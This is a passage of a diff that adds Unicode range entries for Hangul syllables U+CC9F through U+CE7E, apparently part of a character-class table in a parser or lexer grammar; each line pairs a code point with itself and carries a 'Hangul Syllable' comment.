+ ["\uCC9F", "\uCC9F"], /* Hangul Syllable */
+ ["\uCCA0", "\uCCA0"], /* Hangul Syllable */
+ ["\uCCA1", "\uCCA1"], /* Hangul Syllable */
+ ["\uCCA2", "\uCCA2"], /* Hangul Syllable */
+ ["\uCCA3", "\uCCA3"], /* Hangul Syllable */
+ ["\uCCA4", "\uCCA4"], /* Hangul Syllable */
+ ["\uCCA5", "\uCCA5"], /* Hangul Syllable */
+ ["\uCCA6", "\uCCA6"], /* Hangul Syllable */
+ ["\uCCA7", "\uCCA7"], /* Hangul Syllable */
+ ["\uCCA8", "\uCCA8"], /* Hangul Syllable */
+ ["\uCCA9", "\uCCA9"], /* Hangul Syllable */
+ ["\uCCAA", "\uCCAA"], /* Hangul Syllable */
+ ["\uCCAB", "\uCCAB"], /* Hangul Syllable */
+ ["\uCCAC", "\uCCAC"], /* Hangul Syllable */
+ ["\uCCAD", "\uCCAD"], /* Hangul Syllable */
+ ["\uCCAE", "\uCCAE"], /* Hangul Syllable */
+ ["\uCCAF", "\uCCAF"], /* Hangul Syllable */
+ ["\uCCB0", "\uCCB0"], /* Hangul Syllable */
+ ["\uCCB1", "\uCCB1"], /* Hangul Syllable */
+ ["\uCCB2", "\uCCB2"], /* Hangul Syllable */
+ ["\uCCB3", "\uCCB3"], /* Hangul Syllable */
+ ["\uCCB4", "\uCCB4"], /* Hangul Syllable */
+ ["\uCCB5", "\uCCB5"], /* Hangul Syllable */
+ ["\uCCB6", "\uCCB6"], /* Hangul Syllable */
+ ["\uCCB7", "\uCCB7"], /* Hangul Syllable */
+ ["\uCCB8", "\uCCB8"], /* Hangul Syllable */
+ ["\uCCB9", "\uCCB9"], /* Hangul Syllable */
+ ["\uCCBA", "\uCCBA"], /* Hangul Syllable */
+ ["\uCCBB", "\uCCBB"], /* Hangul Syllable */
+ ["\uCCBC", "\uCCBC"], /* Hangul Syllable */
+ ["\uCCBD", "\uCCBD"], /* Hangul Syllable */
+ ["\uCCBE", "\uCCBE"], /* Hangul Syllable */
+ ["\uCCBF", "\uCCBF"], /* Hangul Syllable */
+ ["\uCCC0", "\uCCC0"], /* Hangul Syllable */
+ ["\uCCC1", "\uCCC1"], /* Hangul Syllable */
+ ["\uCCC2", "\uCCC2"], /* Hangul Syllable */
+ ["\uCCC3", "\uCCC3"], /* Hangul Syllable */
+ ["\uCCC4", "\uCCC4"], /* Hangul Syllable */
+ ["\uCCC5", "\uCCC5"], /* Hangul Syllable */
+ ["\uCCC6", "\uCCC6"], /* Hangul Syllable */
+ ["\uCCC7", "\uCCC7"], /* Hangul Syllable */
+ ["\uCCC8", "\uCCC8"], /* Hangul Syllable */
+ ["\uCCC9", "\uCCC9"], /* Hangul Syllable */
+ ["\uCCCA", "\uCCCA"], /* Hangul Syllable */
+ ["\uCCCB", "\uCCCB"], /* Hangul Syllable */
+ ["\uCCCC", "\uCCCC"], /* Hangul Syllable */
+ ["\uCCCD", "\uCCCD"], /* Hangul Syllable */
+ ["\uCCCE", "\uCCCE"], /* Hangul Syllable */
+ ["\uCCCF", "\uCCCF"], /* Hangul Syllable */
+ ["\uCCD0", "\uCCD0"], /* Hangul Syllable */
+ ["\uCCD1", "\uCCD1"], /* Hangul Syllable */
+ ["\uCCD2", "\uCCD2"], /* Hangul Syllable */
+ ["\uCCD3", "\uCCD3"], /* Hangul Syllable */
+ ["\uCCD4", "\uCCD4"], /* Hangul Syllable */
+ ["\uCCD5", "\uCCD5"], /* Hangul Syllable */
+ ["\uCCD6", "\uCCD6"], /* Hangul Syllable */
+ ["\uCCD7", "\uCCD7"], /* Hangul Syllable */
+ ["\uCCD8", "\uCCD8"], /* Hangul Syllable */
+ ["\uCCD9", "\uCCD9"], /* Hangul Syllable */
+ ["\uCCDA", "\uCCDA"], /* Hangul Syllable */
+ ["\uCCDB", "\uCCDB"], /* Hangul Syllable */
+ ["\uCCDC", "\uCCDC"], /* Hangul Syllable */
+ ["\uCCDD", "\uCCDD"], /* Hangul Syllable */
+ ["\uCCDE", "\uCCDE"], /* Hangul Syllable */
+ ["\uCCDF", "\uCCDF"], /* Hangul Syllable */
+ ["\uCCE0", "\uCCE0"], /* Hangul Syllable */
+ ["\uCCE1", "\uCCE1"], /* Hangul Syllable */
+ ["\uCCE2", "\uCCE2"], /* Hangul Syllable */
+ ["\uCCE3", "\uCCE3"], /* Hangul Syllable */
+ ["\uCCE4", "\uCCE4"], /* Hangul Syllable */
+ ["\uCCE5", "\uCCE5"], /* Hangul Syllable */
+ ["\uCCE6", "\uCCE6"], /* Hangul Syllable */
+ ["\uCCE7", "\uCCE7"], /* Hangul Syllable */
+ ["\uCCE8", "\uCCE8"], /* Hangul Syllable */
+ ["\uCCE9", "\uCCE9"], /* Hangul Syllable */
+ ["\uCCEA", "\uCCEA"], /* Hangul Syllable */
+ ["\uCCEB", "\uCCEB"], /* Hangul Syllable */
+ ["\uCCEC", "\uCCEC"], /* Hangul Syllable */
+ ["\uCCED", "\uCCED"], /* Hangul Syllable */
+ ["\uCCEE", "\uCCEE"], /* Hangul Syllable */
+ ["\uCCEF", "\uCCEF"], /* Hangul Syllable */
+ ["\uCCF0", "\uCCF0"], /* Hangul Syllable */
+ ["\uCCF1", "\uCCF1"], /* Hangul Syllable */
+ ["\uCCF2", "\uCCF2"], /* Hangul Syllable */
+ ["\uCCF3", "\uCCF3"], /* Hangul Syllable */
+ ["\uCCF4", "\uCCF4"], /* Hangul Syllable */
+ ["\uCCF5", "\uCCF5"], /* Hangul Syllable */
+ ["\uCCF6", "\uCCF6"], /* Hangul Syllable */
+ ["\uCCF7", "\uCCF7"], /* Hangul Syllable */
+ ["\uCCF8", "\uCCF8"], /* Hangul Syllable */
+ ["\uCCF9", "\uCCF9"], /* Hangul Syllable */
+ ["\uCCFA", "\uCCFA"], /* Hangul Syllable */
+ ["\uCCFB", "\uCCFB"], /* Hangul Syllable */
+ ["\uCCFC", "\uCCFC"], /* Hangul Syllable */
+ ["\uCCFD", "\uCCFD"], /* Hangul Syllable */
+ ["\uCCFE", "\uCCFE"], /* Hangul Syllable */
+ ["\uCCFF", "\uCCFF"], /* Hangul Syllable */
+ ["\uCD00", "\uCD00"], /* Hangul Syllable */
+ ["\uCD01", "\uCD01"], /* Hangul Syllable */
+ ["\uCD02", "\uCD02"], /* Hangul Syllable */
+ ["\uCD03", "\uCD03"], /* Hangul Syllable */
+ ["\uCD04", "\uCD04"], /* Hangul Syllable */
+ ["\uCD05", "\uCD05"], /* Hangul Syllable */
+ ["\uCD06", "\uCD06"], /* Hangul Syllable */
+ ["\uCD07", "\uCD07"], /* Hangul Syllable */
+ ["\uCD08", "\uCD08"], /* Hangul Syllable */
+ ["\uCD09", "\uCD09"], /* Hangul Syllable */
+ ["\uCD0A", "\uCD0A"], /* Hangul Syllable */
+ ["\uCD0B", "\uCD0B"], /* Hangul Syllable */
+ ["\uCD0C", "\uCD0C"], /* Hangul Syllable */
+ ["\uCD0D", "\uCD0D"], /* Hangul Syllable */
+ ["\uCD0E", "\uCD0E"], /* Hangul Syllable */
+ ["\uCD0F", "\uCD0F"], /* Hangul Syllable */
+ ["\uCD10", "\uCD10"], /* Hangul Syllable */
+ ["\uCD11", "\uCD11"], /* Hangul Syllable */
+ ["\uCD12", "\uCD12"], /* Hangul Syllable */
+ ["\uCD13", "\uCD13"], /* Hangul Syllable */
+ ["\uCD14", "\uCD14"], /* Hangul Syllable */
+ ["\uCD15", "\uCD15"], /* Hangul Syllable */
+ ["\uCD16", "\uCD16"], /* Hangul Syllable */
+ ["\uCD17", "\uCD17"], /* Hangul Syllable */
+ ["\uCD18", "\uCD18"], /* Hangul Syllable */
+ ["\uCD19", "\uCD19"], /* Hangul Syllable */
+ ["\uCD1A", "\uCD1A"], /* Hangul Syllable */
+ ["\uCD1B", "\uCD1B"], /* Hangul Syllable */
+ ["\uCD1C", "\uCD1C"], /* Hangul Syllable */
+ ["\uCD1D", "\uCD1D"], /* Hangul Syllable */
+ ["\uCD1E", "\uCD1E"], /* Hangul Syllable */
+ ["\uCD1F", "\uCD1F"], /* Hangul Syllable */
+ ["\uCD20", "\uCD20"], /* Hangul Syllable */
+ ["\uCD21", "\uCD21"], /* Hangul Syllable */
+ ["\uCD22", "\uCD22"], /* Hangul Syllable */
+ ["\uCD23", "\uCD23"], /* Hangul Syllable */
+ ["\uCD24", "\uCD24"], /* Hangul Syllable */
+ ["\uCD25", "\uCD25"], /* Hangul Syllable */
+ ["\uCD26", "\uCD26"], /* Hangul Syllable */
+ ["\uCD27", "\uCD27"], /* Hangul Syllable */
+ ["\uCD28", "\uCD28"], /* Hangul Syllable */
+ ["\uCD29", "\uCD29"], /* Hangul Syllable */
+ ["\uCD2A", "\uCD2A"], /* Hangul Syllable */
+ ["\uCD2B", "\uCD2B"], /* Hangul Syllable */
+ ["\uCD2C", "\uCD2C"], /* Hangul Syllable */
+ ["\uCD2D", "\uCD2D"], /* Hangul Syllable */
+ ["\uCD2E", "\uCD2E"], /* Hangul Syllable */
+ ["\uCD2F", "\uCD2F"], /* Hangul Syllable */
+ ["\uCD30", "\uCD30"], /* Hangul Syllable */
+ ["\uCD31", "\uCD31"], /* Hangul Syllable */
+ ["\uCD32", "\uCD32"], /* Hangul Syllable */
+ ["\uCD33", "\uCD33"], /* Hangul Syllable */
+ ["\uCD34", "\uCD34"], /* Hangul Syllable */
+ ["\uCD35", "\uCD35"], /* Hangul Syllable */
+ ["\uCD36", "\uCD36"], /* Hangul Syllable */
+ ["\uCD37", "\uCD37"], /* Hangul Syllable */
+ ["\uCD38", "\uCD38"], /* Hangul Syllable */
+ ["\uCD39", "\uCD39"], /* Hangul Syllable */
+ ["\uCD3A", "\uCD3A"], /* Hangul Syllable */
+ ["\uCD3B", "\uCD3B"], /* Hangul Syllable */
+ ["\uCD3C", "\uCD3C"], /* Hangul Syllable */
+ ["\uCD3D", "\uCD3D"], /* Hangul Syllable */
+ ["\uCD3E", "\uCD3E"], /* Hangul Syllable */
+ ["\uCD3F", "\uCD3F"], /* Hangul Syllable */
+ ["\uCD40", "\uCD40"], /* Hangul Syllable */
+ ["\uCD41", "\uCD41"], /* Hangul Syllable */
+ ["\uCD42", "\uCD42"], /* Hangul Syllable */
+ ["\uCD43", "\uCD43"], /* Hangul Syllable */
+ ["\uCD44", "\uCD44"], /* Hangul Syllable */
+ ["\uCD45", "\uCD45"], /* Hangul Syllable */
+ ["\uCD46", "\uCD46"], /* Hangul Syllable */
+ ["\uCD47", "\uCD47"], /* Hangul Syllable */
+ ["\uCD48", "\uCD48"], /* Hangul Syllable */
+ ["\uCD49", "\uCD49"], /* Hangul Syllable */
+ ["\uCD4A", "\uCD4A"], /* Hangul Syllable */
+ ["\uCD4B", "\uCD4B"], /* Hangul Syllable */
+ ["\uCD4C", "\uCD4C"], /* Hangul Syllable */
+ ["\uCD4D", "\uCD4D"], /* Hangul Syllable */
+ ["\uCD4E", "\uCD4E"], /* Hangul Syllable */
+ ["\uCD4F", "\uCD4F"], /* Hangul Syllable */
+ ["\uCD50", "\uCD50"], /* Hangul Syllable */
+ ["\uCD51", "\uCD51"], /* Hangul Syllable */
+ ["\uCD52", "\uCD52"], /* Hangul Syllable */
+ ["\uCD53", "\uCD53"], /* Hangul Syllable */
+ ["\uCD54", "\uCD54"], /* Hangul Syllable */
+ ["\uCD55", "\uCD55"], /* Hangul Syllable */
+ ["\uCD56", "\uCD56"], /* Hangul Syllable */
+ ["\uCD57", "\uCD57"], /* Hangul Syllable */
+ ["\uCD58", "\uCD58"], /* Hangul Syllable */
+ ["\uCD59", "\uCD59"], /* Hangul Syllable */
+ ["\uCD5A", "\uCD5A"], /* Hangul Syllable */
+ ["\uCD5B", "\uCD5B"], /* Hangul Syllable */
+ ["\uCD5C", "\uCD5C"], /* Hangul Syllable */
+ ["\uCD5D", "\uCD5D"], /* Hangul Syllable */
+ ["\uCD5E", "\uCD5E"], /* Hangul Syllable */
+ ["\uCD5F", "\uCD5F"], /* Hangul Syllable */
+ ["\uCD60", "\uCD60"], /* Hangul Syllable */
+ ["\uCD61", "\uCD61"], /* Hangul Syllable */
+ ["\uCD62", "\uCD62"], /* Hangul Syllable */
+ ["\uCD63", "\uCD63"], /* Hangul Syllable */
+ ["\uCD64", "\uCD64"], /* Hangul Syllable */
+ ["\uCD65", "\uCD65"], /* Hangul Syllable */
+ ["\uCD66", "\uCD66"], /* Hangul Syllable */
+ ["\uCD67", "\uCD67"], /* Hangul Syllable */
+ ["\uCD68", "\uCD68"], /* Hangul Syllable */
+ ["\uCD69", "\uCD69"], /* Hangul Syllable */
+ ["\uCD6A", "\uCD6A"], /* Hangul Syllable */
+ ["\uCD6B", "\uCD6B"], /* Hangul Syllable */
+ ["\uCD6C", "\uCD6C"], /* Hangul Syllable */
+ ["\uCD6D", "\uCD6D"], /* Hangul Syllable */
+ ["\uCD6E", "\uCD6E"], /* Hangul Syllable */
+ ["\uCD6F", "\uCD6F"], /* Hangul Syllable */
+ ["\uCD70", "\uCD70"], /* Hangul Syllable */
+ ["\uCD71", "\uCD71"], /* Hangul Syllable */
+ ["\uCD72", "\uCD72"], /* Hangul Syllable */
+ ["\uCD73", "\uCD73"], /* Hangul Syllable */
+ ["\uCD74", "\uCD74"], /* Hangul Syllable */
+ ["\uCD75", "\uCD75"], /* Hangul Syllable */
+ ["\uCD76", "\uCD76"], /* Hangul Syllable */
+ ["\uCD77", "\uCD77"], /* Hangul Syllable */
+ ["\uCD78", "\uCD78"], /* Hangul Syllable */
+ ["\uCD79", "\uCD79"], /* Hangul Syllable */
+ ["\uCD7A", "\uCD7A"], /* Hangul Syllable */
+ ["\uCD7B", "\uCD7B"], /* Hangul Syllable */
+ ["\uCD7C", "\uCD7C"], /* Hangul Syllable */
+ ["\uCD7D", "\uCD7D"], /* Hangul Syllable */
+ ["\uCD7E", "\uCD7E"], /* Hangul Syllable */
+ ["\uCD7F", "\uCD7F"], /* Hangul Syllable */
+ ["\uCD80", "\uCD80"], /* Hangul Syllable */
+ ["\uCD81", "\uCD81"], /* Hangul Syllable */
+ ["\uCD82", "\uCD82"], /* Hangul Syllable */
+ ["\uCD83", "\uCD83"], /* Hangul Syllable */
+ ["\uCD84", "\uCD84"], /* Hangul Syllable */
+ ["\uCD85", "\uCD85"], /* Hangul Syllable */
+ ["\uCD86", "\uCD86"], /* Hangul Syllable */
+ ["\uCD87", "\uCD87"], /* Hangul Syllable */
+ ["\uCD88", "\uCD88"], /* Hangul Syllable */
+ ["\uCD89", "\uCD89"], /* Hangul Syllable */
+ ["\uCD8A", "\uCD8A"], /* Hangul Syllable */
+ ["\uCD8B", "\uCD8B"], /* Hangul Syllable */
+ ["\uCD8C", "\uCD8C"], /* Hangul Syllable */
+ ["\uCD8D", "\uCD8D"], /* Hangul Syllable */
+ ["\uCD8E", "\uCD8E"], /* Hangul Syllable */
+ ["\uCD8F", "\uCD8F"], /* Hangul Syllable */
+ ["\uCD90", "\uCD90"], /* Hangul Syllable */
+ ["\uCD91", "\uCD91"], /* Hangul Syllable */
+ ["\uCD92", "\uCD92"], /* Hangul Syllable */
+ ["\uCD93", "\uCD93"], /* Hangul Syllable */
+ ["\uCD94", "\uCD94"], /* Hangul Syllable */
+ ["\uCD95", "\uCD95"], /* Hangul Syllable */
+ ["\uCD96", "\uCD96"], /* Hangul Syllable */
+ ["\uCD97", "\uCD97"], /* Hangul Syllable */
+ ["\uCD98", "\uCD98"], /* Hangul Syllable */
+ ["\uCD99", "\uCD99"], /* Hangul Syllable */
+ ["\uCD9A", "\uCD9A"], /* Hangul Syllable */
+ ["\uCD9B", "\uCD9B"], /* Hangul Syllable */
+ ["\uCD9C", "\uCD9C"], /* Hangul Syllable */
+ ["\uCD9D", "\uCD9D"], /* Hangul Syllable */
+ ["\uCD9E", "\uCD9E"], /* Hangul Syllable */
+ ["\uCD9F", "\uCD9F"], /* Hangul Syllable */
+ ["\uCDA0", "\uCDA0"], /* Hangul Syllable */
+ ["\uCDA1", "\uCDA1"], /* Hangul Syllable */
+ ["\uCDA2", "\uCDA2"], /* Hangul Syllable */
+ ["\uCDA3", "\uCDA3"], /* Hangul Syllable */
+ ["\uCDA4", "\uCDA4"], /* Hangul Syllable */
+ ["\uCDA5", "\uCDA5"], /* Hangul Syllable */
+ ["\uCDA6", "\uCDA6"], /* Hangul Syllable */
+ ["\uCDA7", "\uCDA7"], /* Hangul Syllable */
+ ["\uCDA8", "\uCDA8"], /* Hangul Syllable */
+ ["\uCDA9", "\uCDA9"], /* Hangul Syllable */
+ ["\uCDAA", "\uCDAA"], /* Hangul Syllable */
+ ["\uCDAB", "\uCDAB"], /* Hangul Syllable */
+ ["\uCDAC", "\uCDAC"], /* Hangul Syllable */
+ ["\uCDAD", "\uCDAD"], /* Hangul Syllable */
+ ["\uCDAE", "\uCDAE"], /* Hangul Syllable */
+ ["\uCDAF", "\uCDAF"], /* Hangul Syllable */
+ ["\uCDB0", "\uCDB0"], /* Hangul Syllable */
+ ["\uCDB1", "\uCDB1"], /* Hangul Syllable */
+ ["\uCDB2", "\uCDB2"], /* Hangul Syllable */
+ ["\uCDB3", "\uCDB3"], /* Hangul Syllable */
+ ["\uCDB4", "\uCDB4"], /* Hangul Syllable */
+ ["\uCDB5", "\uCDB5"], /* Hangul Syllable */
+ ["\uCDB6", "\uCDB6"], /* Hangul Syllable */
+ ["\uCDB7", "\uCDB7"], /* Hangul Syllable */
+ ["\uCDB8", "\uCDB8"], /* Hangul Syllable */
+ ["\uCDB9", "\uCDB9"], /* Hangul Syllable */
+ ["\uCDBA", "\uCDBA"], /* Hangul Syllable */
+ ["\uCDBB", "\uCDBB"], /* Hangul Syllable */
+ ["\uCDBC", "\uCDBC"], /* Hangul Syllable */
+ ["\uCDBD", "\uCDBD"], /* Hangul Syllable */
+ ["\uCDBE", "\uCDBE"], /* Hangul Syllable */
+ ["\uCDBF", "\uCDBF"], /* Hangul Syllable */
+ ["\uCDC0", "\uCDC0"], /* Hangul Syllable */
+ ["\uCDC1", "\uCDC1"], /* Hangul Syllable */
+ ["\uCDC2", "\uCDC2"], /* Hangul Syllable */
+ ["\uCDC3", "\uCDC3"], /* Hangul Syllable */
+ ["\uCDC4", "\uCDC4"], /* Hangul Syllable */
+ ["\uCDC5", "\uCDC5"], /* Hangul Syllable */
+ ["\uCDC6", "\uCDC6"], /* Hangul Syllable */
+ ["\uCDC7", "\uCDC7"], /* Hangul Syllable */
+ ["\uCDC8", "\uCDC8"], /* Hangul Syllable */
+ ["\uCDC9", "\uCDC9"], /* Hangul Syllable */
+ ["\uCDCA", "\uCDCA"], /* Hangul Syllable */
+ ["\uCDCB", "\uCDCB"], /* Hangul Syllable */
+ ["\uCDCC", "\uCDCC"], /* Hangul Syllable */
+ ["\uCDCD", "\uCDCD"], /* Hangul Syllable */
+ ["\uCDCE", "\uCDCE"], /* Hangul Syllable */
+ ["\uCDCF", "\uCDCF"], /* Hangul Syllable */
+ ["\uCDD0", "\uCDD0"], /* Hangul Syllable */
+ ["\uCDD1", "\uCDD1"], /* Hangul Syllable */
+ ["\uCDD2", "\uCDD2"], /* Hangul Syllable */
+ ["\uCDD3", "\uCDD3"], /* Hangul Syllable */
+ ["\uCDD4", "\uCDD4"], /* Hangul Syllable */
+ ["\uCDD5", "\uCDD5"], /* Hangul Syllable */
+ ["\uCDD6", "\uCDD6"], /* Hangul Syllable */
+ ["\uCDD7", "\uCDD7"], /* Hangul Syllable */
+ ["\uCDD8", "\uCDD8"], /* Hangul Syllable */
+ ["\uCDD9", "\uCDD9"], /* Hangul Syllable */
+ ["\uCDDA", "\uCDDA"], /* Hangul Syllable */
+ ["\uCDDB", "\uCDDB"], /* Hangul Syllable */
+ ["\uCDDC", "\uCDDC"], /* Hangul Syllable */
+ ["\uCDDD", "\uCDDD"], /* Hangul Syllable */
+ ["\uCDDE", "\uCDDE"], /* Hangul Syllable */
+ ["\uCDDF", "\uCDDF"], /* Hangul Syllable */
+ ["\uCDE0", "\uCDE0"], /* Hangul Syllable */
+ ["\uCDE1", "\uCDE1"], /* Hangul Syllable */
+ ["\uCDE2", "\uCDE2"], /* Hangul Syllable */
+ ["\uCDE3", "\uCDE3"], /* Hangul Syllable */
+ ["\uCDE4", "\uCDE4"], /* Hangul Syllable */
+ ["\uCDE5", "\uCDE5"], /* Hangul Syllable */
+ ["\uCDE6", "\uCDE6"], /* Hangul Syllable */
+ ["\uCDE7", "\uCDE7"], /* Hangul Syllable */
+ ["\uCDE8", "\uCDE8"], /* Hangul Syllable */
+ ["\uCDE9", "\uCDE9"], /* Hangul Syllable */
+ ["\uCDEA", "\uCDEA"], /* Hangul Syllable */
+ ["\uCDEB", "\uCDEB"], /* Hangul Syllable */
+ ["\uCDEC", "\uCDEC"], /* Hangul Syllable */
+ ["\uCDED", "\uCDED"], /* Hangul Syllable */
+ ["\uCDEE", "\uCDEE"], /* Hangul Syllable */
+ ["\uCDEF", "\uCDEF"], /* Hangul Syllable */
+ ["\uCDF0", "\uCDF0"], /* Hangul Syllable */
+ ["\uCDF1", "\uCDF1"], /* Hangul Syllable */
+ ["\uCDF2", "\uCDF2"], /* Hangul Syllable */
+ ["\uCDF3", "\uCDF3"], /* Hangul Syllable */
+ ["\uCDF4", "\uCDF4"], /* Hangul Syllable */
+ ["\uCDF5", "\uCDF5"], /* Hangul Syllable */
+ ["\uCDF6", "\uCDF6"], /* Hangul Syllable */
+ ["\uCDF7", "\uCDF7"], /* Hangul Syllable */
+ ["\uCDF8", "\uCDF8"], /* Hangul Syllable */
+ ["\uCDF9", "\uCDF9"], /* Hangul Syllable */
+ ["\uCDFA", "\uCDFA"], /* Hangul Syllable */
+ ["\uCDFB", "\uCDFB"], /* Hangul Syllable */
+ ["\uCDFC", "\uCDFC"], /* Hangul Syllable */
+ ["\uCDFD", "\uCDFD"], /* Hangul Syllable */
+ ["\uCDFE", "\uCDFE"], /* Hangul Syllable */
+ ["\uCDFF", "\uCDFF"], /* Hangul Syllable */
+ ["\uCE00", "\uCE00"], /* Hangul Syllable */
+ ["\uCE01", "\uCE01"], /* Hangul Syllable */
+ ["\uCE02", "\uCE02"], /* Hangul Syllable */
+ ["\uCE03", "\uCE03"], /* Hangul Syllable */
+ ["\uCE04", "\uCE04"], /* Hangul Syllable */
+ ["\uCE05", "\uCE05"], /* Hangul Syllable */
+ ["\uCE06", "\uCE06"], /* Hangul Syllable */
+ ["\uCE07", "\uCE07"], /* Hangul Syllable */
+ ["\uCE08", "\uCE08"], /* Hangul Syllable */
+ ["\uCE09", "\uCE09"], /* Hangul Syllable */
+ ["\uCE0A", "\uCE0A"], /* Hangul Syllable */
+ ["\uCE0B", "\uCE0B"], /* Hangul Syllable */
+ ["\uCE0C", "\uCE0C"], /* Hangul Syllable */
+ ["\uCE0D", "\uCE0D"], /* Hangul Syllable */
+ ["\uCE0E", "\uCE0E"], /* Hangul Syllable */
+ ["\uCE0F", "\uCE0F"], /* Hangul Syllable */
+ ["\uCE10", "\uCE10"], /* Hangul Syllable */
+ ["\uCE11", "\uCE11"], /* Hangul Syllable */
+ ["\uCE12", "\uCE12"], /* Hangul Syllable */
+ ["\uCE13", "\uCE13"], /* Hangul Syllable */
+ ["\uCE14", "\uCE14"], /* Hangul Syllable */
+ ["\uCE15", "\uCE15"], /* Hangul Syllable */
+ ["\uCE16", "\uCE16"], /* Hangul Syllable */
+ ["\uCE17", "\uCE17"], /* Hangul Syllable */
+ ["\uCE18", "\uCE18"], /* Hangul Syllable */
+ ["\uCE19", "\uCE19"], /* Hangul Syllable */
+ ["\uCE1A", "\uCE1A"], /* Hangul Syllable */
+ ["\uCE1B", "\uCE1B"], /* Hangul Syllable */
+ ["\uCE1C", "\uCE1C"], /* Hangul Syllable */
+ ["\uCE1D", "\uCE1D"], /* Hangul Syllable */
+ ["\uCE1E", "\uCE1E"], /* Hangul Syllable */
+ ["\uCE1F", "\uCE1F"], /* Hangul Syllable */
+ ["\uCE20", "\uCE20"], /* Hangul Syllable */
+ ["\uCE21", "\uCE21"], /* Hangul Syllable */
+ ["\uCE22", "\uCE22"], /* Hangul Syllable */
+ ["\uCE23", "\uCE23"], /* Hangul Syllable */
+ ["\uCE24", "\uCE24"], /* Hangul Syllable */
+ ["\uCE25", "\uCE25"], /* Hangul Syllable */
+ ["\uCE26", "\uCE26"], /* Hangul Syllable */
+ ["\uCE27", "\uCE27"], /* Hangul Syllable */
+ ["\uCE28", "\uCE28"], /* Hangul Syllable */
+ ["\uCE29", "\uCE29"], /* Hangul Syllable */
+ ["\uCE2A", "\uCE2A"], /* Hangul Syllable */
+ ["\uCE2B", "\uCE2B"], /* Hangul Syllable */
+ ["\uCE2C", "\uCE2C"], /* Hangul Syllable */
+ ["\uCE2D", "\uCE2D"], /* Hangul Syllable */
+ ["\uCE2E", "\uCE2E"], /* Hangul Syllable */
+ ["\uCE2F", "\uCE2F"], /* Hangul Syllable */
+ ["\uCE30", "\uCE30"], /* Hangul Syllable */
+ ["\uCE31", "\uCE31"], /* Hangul Syllable */
+ ["\uCE32", "\uCE32"], /* Hangul Syllable */
+ ["\uCE33", "\uCE33"], /* Hangul Syllable */
+ ["\uCE34", "\uCE34"], /* Hangul Syllable */
+ ["\uCE35", "\uCE35"], /* Hangul Syllable */
+ ["\uCE36", "\uCE36"], /* Hangul Syllable */
+ ["\uCE37", "\uCE37"], /* Hangul Syllable */
+ ["\uCE38", "\uCE38"], /* Hangul Syllable */
+ ["\uCE39", "\uCE39"], /* Hangul Syllable */
+ ["\uCE3A", "\uCE3A"], /* Hangul Syllable */
+ ["\uCE3B", "\uCE3B"], /* Hangul Syllable */
+ ["\uCE3C", "\uCE3C"], /* Hangul Syllable */
+ ["\uCE3D", "\uCE3D"], /* Hangul Syllable */
+ ["\uCE3E", "\uCE3E"], /* Hangul Syllable */
+ ["\uCE3F", "\uCE3F"], /* Hangul Syllable */
+ ["\uCE40", "\uCE40"], /* Hangul Syllable */
+ ["\uCE41", "\uCE41"], /* Hangul Syllable */
+ ["\uCE42", "\uCE42"], /* Hangul Syllable */
+ ["\uCE43", "\uCE43"], /* Hangul Syllable */
+ ["\uCE44", "\uCE44"], /* Hangul Syllable */
+ ["\uCE45", "\uCE45"], /* Hangul Syllable */
+ ["\uCE46", "\uCE46"], /* Hangul Syllable */
+ ["\uCE47", "\uCE47"], /* Hangul Syllable */
+ ["\uCE48", "\uCE48"], /* Hangul Syllable */
+ ["\uCE49", "\uCE49"], /* Hangul Syllable */
+ ["\uCE4A", "\uCE4A"], /* Hangul Syllable */
+ ["\uCE4B", "\uCE4B"], /* Hangul Syllable */
+ ["\uCE4C", "\uCE4C"], /* Hangul Syllable */
+ ["\uCE4D", "\uCE4D"], /* Hangul Syllable */
+ ["\uCE4E", "\uCE4E"], /* Hangul Syllable */
+ ["\uCE4F", "\uCE4F"], /* Hangul Syllable */
+ ["\uCE50", "\uCE50"], /* Hangul Syllable */
+ ["\uCE51", "\uCE51"], /* Hangul Syllable */
+ ["\uCE52", "\uCE52"], /* Hangul Syllable */
+ ["\uCE53", "\uCE53"], /* Hangul Syllable */
+ ["\uCE54", "\uCE54"], /* Hangul Syllable */
+ ["\uCE55", "\uCE55"], /* Hangul Syllable */
+ ["\uCE56", "\uCE56"], /* Hangul Syllable */
+ ["\uCE57", "\uCE57"], /* Hangul Syllable */
+ ["\uCE58", "\uCE58"], /* Hangul Syllable */
+ ["\uCE59", "\uCE59"], /* Hangul Syllable */
+ ["\uCE5A", "\uCE5A"], /* Hangul Syllable */
+ ["\uCE5B", "\uCE5B"], /* Hangul Syllable */
+ ["\uCE5C", "\uCE5C"], /* Hangul Syllable */
+ ["\uCE5D", "\uCE5D"], /* Hangul Syllable */
+ ["\uCE5E", "\uCE5E"], /* Hangul Syllable */
+ ["\uCE5F", "\uCE5F"], /* Hangul Syllable */
+ ["\uCE60", "\uCE60"], /* Hangul Syllable */
+ ["\uCE61", "\uCE61"], /* Hangul Syllable */
+ ["\uCE62", "\uCE62"], /* Hangul Syllable */
+ ["\uCE63", "\uCE63"], /* Hangul Syllable */
+ ["\uCE64", "\uCE64"], /* Hangul Syllable */
+ ["\uCE65", "\uCE65"], /* Hangul Syllable */
+ ["\uCE66", "\uCE66"], /* Hangul Syllable */
+ ["\uCE67", "\uCE67"], /* Hangul Syllable */
+ ["\uCE68", "\uCE68"], /* Hangul Syllable */
+ ["\uCE69", "\uCE69"], /* Hangul Syllable */
+ ["\uCE6A", "\uCE6A"], /* Hangul Syllable */
+ ["\uCE6B", "\uCE6B"], /* Hangul Syllable */
+ ["\uCE6C", "\uCE6C"], /* Hangul Syllable */
+ ["\uCE6D", "\uCE6D"], /* Hangul Syllable */
+ ["\uCE6E", "\uCE6E"], /* Hangul Syllable */
+ ["\uCE6F", "\uCE6F"], /* Hangul Syllable */
+ ["\uCE70", "\uCE70"], /* Hangul Syllable */
+ ["\uCE71", "\uCE71"], /* Hangul Syllable */
+ ["\uCE72", "\uCE72"], /* Hangul Syllable */
+ ["\uCE73", "\uCE73"], /* Hangul Syllable */
+ ["\uCE74", "\uCE74"], /* Hangul Syllable */
+ ["\uCE75", "\uCE75"], /* Hangul Syllable */
+ ["\uCE76", "\uCE76"], /* Hangul Syllable */
+ ["\uCE77", "\uCE77"], /* Hangul Syllable */
+ ["\uCE78", "\uCE78"], /* Hangul Syllable */
+ ["\uCE79", "\uCE79"], /* Hangul Syllable */
+ ["\uCE7A", "\uCE7A"], /* Hangul Syllable */
+ ["\uCE7B", "\uCE7B"], /* Hangul Syllable */
+ ["\uCE7C", "\uCE7C"], /* Hangul Syllable */
+ ["\uCE7D", "\uCE7D"], /* Hangul Syllable */
+ ["\uCE7E", "\uCE7E"], /* Hangul Syllable */
